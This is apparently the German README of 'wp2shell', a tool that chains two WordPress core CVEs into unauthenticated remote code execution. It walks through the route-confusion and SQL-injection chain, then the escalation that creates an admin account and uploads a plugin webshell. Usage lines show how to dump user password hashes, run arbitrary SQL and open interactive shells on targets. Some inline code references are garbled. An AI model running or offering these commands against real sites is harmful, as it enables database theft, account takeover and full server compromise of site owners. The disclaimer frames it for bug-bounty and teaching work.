
CVE-2026-63030 & CVE-2026-60137 RCE-Ketten-Proof-of-Concept
⚠ Dieses Tool wurde ausschließlich zu Bildungs- oder Bug-Bounty-Zwecken erstellt. Die unbefugte Nutzung außerhalb kontrollierter Umgebungen ist strengstens untersagt.
Proof-of-Concept für die wp2shell-Schwachstellenkette, die WordPress Core betrifft und CVE-2026-63030 mit CVE-2026-60137 kombiniert. Das Projekt demonstriert das Zusammenspiel zwischen der Route-Confusion-Schwachstelle der REST-API-Batch-Route und einer WP_Query-SQL-Injection, was zu einem unauthentifizierten Pfad zur vollständigen Kompromittierung von WordPress und zur Remote-Code-Ausführung (RCE) führt.
Die vollständige Advisory hier lesen
wp2shell ist eine Pre-Authentication-RCE-Kette im WordPress-Core, die CVE-2026-63030 (Route Confusion im Batch-REST-Endpunkt) und CVE-2026-60137 (SQL-Injection in WP_Query) kombiniert.
Die Route Confusion: /wp-json/batch/v1 verarbeitet mehrere Sub-Requests über parallele $matches- und $validation-Arrays, die nach Position indiziert sind. Ein Sub-Request mit einem fehlerhaften Pfad (z. B. http://:) wird an $validation, aber aufgrund einer -Anweisung nicht an angehängt, wodurch die Arrays desynchronisiert werden. Spätere Requests werden unter dem Handler ausgeführt, der für den Request gedacht ist, wodurch die Schema-Validierung und Berechtigungsprüfungen umgangen werden.
continue$matchesDie SQL-Injection: Zwei verschachtelte Batch-Aufrufe nutzen dies aus. Der äußere Batch umgeht die Methoden-Allow-List (die normalerweise GET blockiert). Der innere Batch liefert einen skalaren author_exclude-String an GET /wp/v2/posts – die Desynchronisierung leitet ihn an der Validierung vorbei, und WP_Query interpoliert den unbereinigten String direkt in SQL, was zu einer UNION-basierten Blind-Injection führt.
Cache Poisoning: Die SQLi gibt gefälschte WP_Post-Objekte zurück, die WordPress im Speicher zwischenspeichert. Diese gefälschten Posts enthalten [embed]-Shortcodes, die WordPress dazu veranlassen, echte oembed_cache-Datenbankzeilen aus den gefälschten Referenzen zu erstellen.
Changeset-Eskalation: Mithilfe der SQLi fälscht der Angreifer einen customize_changeset-Post im Speicher mit "user_id": 1 in dessen JSON. Ein Cycle-Detection-Gadget löst wp_update_post() aus, ohne post_content zu überschreiben, wodurch die Payload des Angreifers erhalten bleibt. Das Anwenden des Changesets nimmt vorübergehend die Identität des Administrators an.
Hook Re-Entry: Ein fabrizierter Post mit dem Status parse und dem Typ request löst den parse_request-Hook aus und spielt den gesamten Batch-Request mit der angenommenen Admin-Rolle erneut ab. Diesmal gelingt ein POST /wp/v2/users-Sub-Request und erstellt ein neues Admin-Konto.
Code-Ausführung: Der Angreifer meldet sich als der erstellte Admin an und lädt ein bösartiges Plugin hoch, um beliebige Befehle auszuführen.
| Version | Status |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Anfällig |
| WordPress 7.0.0 – 7.0.1 | Anfällig |
| WordPress 6.9.5 | Behoben |
| WordPress 7.0.2+ | Behoben |
Um diesen PoC zu verwenden, ist als einzige Voraussetzung Python 3.8+ erforderlich.
Führen Sie ihn aus dem Repository-Verzeichnis aus, um eine Schwachstellenprüfung durchzuführen:
wp2shell.py http://victim.com
Führt eine einzelne Schwachstellenprüfung durch. Sendet eine harmlose Batch-Marker-Sonde, die den Route-Confusion-Bug erkennt, ohne SQLi-Payloads auszuführen. Ein anfälliges Ziel gibt HTTP 207 mit dem Fehlermuster parse_path_failed, block_cannot_read und rest_batch_not_allowed zurück.
Verwenden Sie --confirm-sqli, um zusätzlich eine aktive SQLi-Bestätigungs-Payload zu senden. Die Bestätigung versucht zuerst UNION-Reflection und fällt dann auf timing-basierte Sonden zurück.
Einzelnes Ziel prüfen (Standardmodus)
wp2shell.py http://target.com
Mit explizitem Modus prüfen
Check with explicit mode
wp2shell.py http://target.com --check
Mit SQLi-Bestätigung prüfen
wp2shell.py http://target.com --check --confirm-sqli
Extrahiert Daten aus der Datenbank mithilfe der Pre-Authentication-SQL-Injection. Standardmäßig wird --technique auto verwendet, wodurch verfügbare Methoden in dieser Reihenfolge ausprobiert werden:
WP_Post-Zeile über UNION und liest deren Titel aus der REST-Antwort als ||HEX(value)|| zurück. Ein Request pro Wert. Am schnellsten.EXTRACTVALUE/UPDATEXML, um ~15 Bytes pro Request zu leaken. Funktioniert, wenn das Ziel MySQL-Fehler zurückgibt (z. B. WP_DEBUG_DISPLAY aktiviert).X-WP-Total-Header als Wahr/Falsch-Signal. Funktioniert auch, wenn keine Daten zurückgegeben werden.Erzwingen Sie eine bestimmte Technik mit --technique union|error|blind. Diese Lesepfade sind schreibgeschützt und schreiben nicht in die Datenbank.
Server-Fingerprint (Standardabfrage)
wp2shell.py http://target.com --read
Logins und Passwort-Hashes ausgeben
wp2shell.py http://target.com --read --preset users
Benutzerdefinierte SQL-Abfrage
wp2shell.py http://target.com --read --query "SELECT @@version"
Blind-Technik erzwingen
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Mit error-basierter Technik extrahieren
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Führt Befehle auf dem Zielserver aus. Funktioniert in zwei Modi:
Mit Anmeldedaten (meldet sich als vorhandener Admin an und lädt eine Plugin-Shell hoch):
Bestimmten Befehl ausführen
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Interaktive Shell
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Ohne Anmeldedaten (Pre-Auth-RCE – führt die vollständige SQLi→Admin-Bridge aus, meldet sich als generierter Admin an und lädt dann eine Plugin-Shell hoch):
Einzelnen Befehl ausführen
wp2shell.py http://target.com --shell --cmd id
Interaktive Shell
wp2shell.py http://target.com --shell --interactive
Die Plugin-Webshell wird mit einem zufälligen Pfad und einem Token pro Ausführung hochgeladen. Die hochgeladene Webshell wird automatisch entfernt. Wenn die Pre-Auth-Bridge einen Administrator erstellt, wird dieses generierte Konto nach Beendigung der Shell-Sitzung automatisch entfernt.
Liste aller Flags:
| Flag | Beschreibung |
|---|---|
--check | Schwachstellenprüfung ausführen (Standardmodus, wenn kein anderer Modus angegeben) |
--read | Daten über SQL-Injection extrahieren |
--shell | Befehle auf dem Server ausführen |
--query | Benutzerdefinierte SQL-Abfrage für den Read-Modus |
--preset | Vordefiniertes Abfrage-Preset (users, config, versions) |
--technique | SQLi-Extraktionstechnik: union, error, blind oder auto (Standard) |
--confirm-sqli | SQLi-Bestätigungs-Payload nach der Prüfung senden |
--cmd | Im Shell-Modus auszuführender Befehl (Standard: id) |
--interactive, -i | Interaktiver Shell-Modus |
--user | Admin-Benutzername für authentifizierte Shell |
--password | Admin-Passwort für authentifizierte Shell |
--proxy | HTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080) |
--timeout | Request-Timeout in Sekunden (Standard: 30) |
--verbose, -v | Ausführliche Ausgabe |
Dieses Tool wurde ausschließlich zu Bildungs- oder Bug-Bounty-Zwecken erstellt. Die unbefugte Nutzung außerhalb kontrollierter Umgebungen ist strengstens untersagt.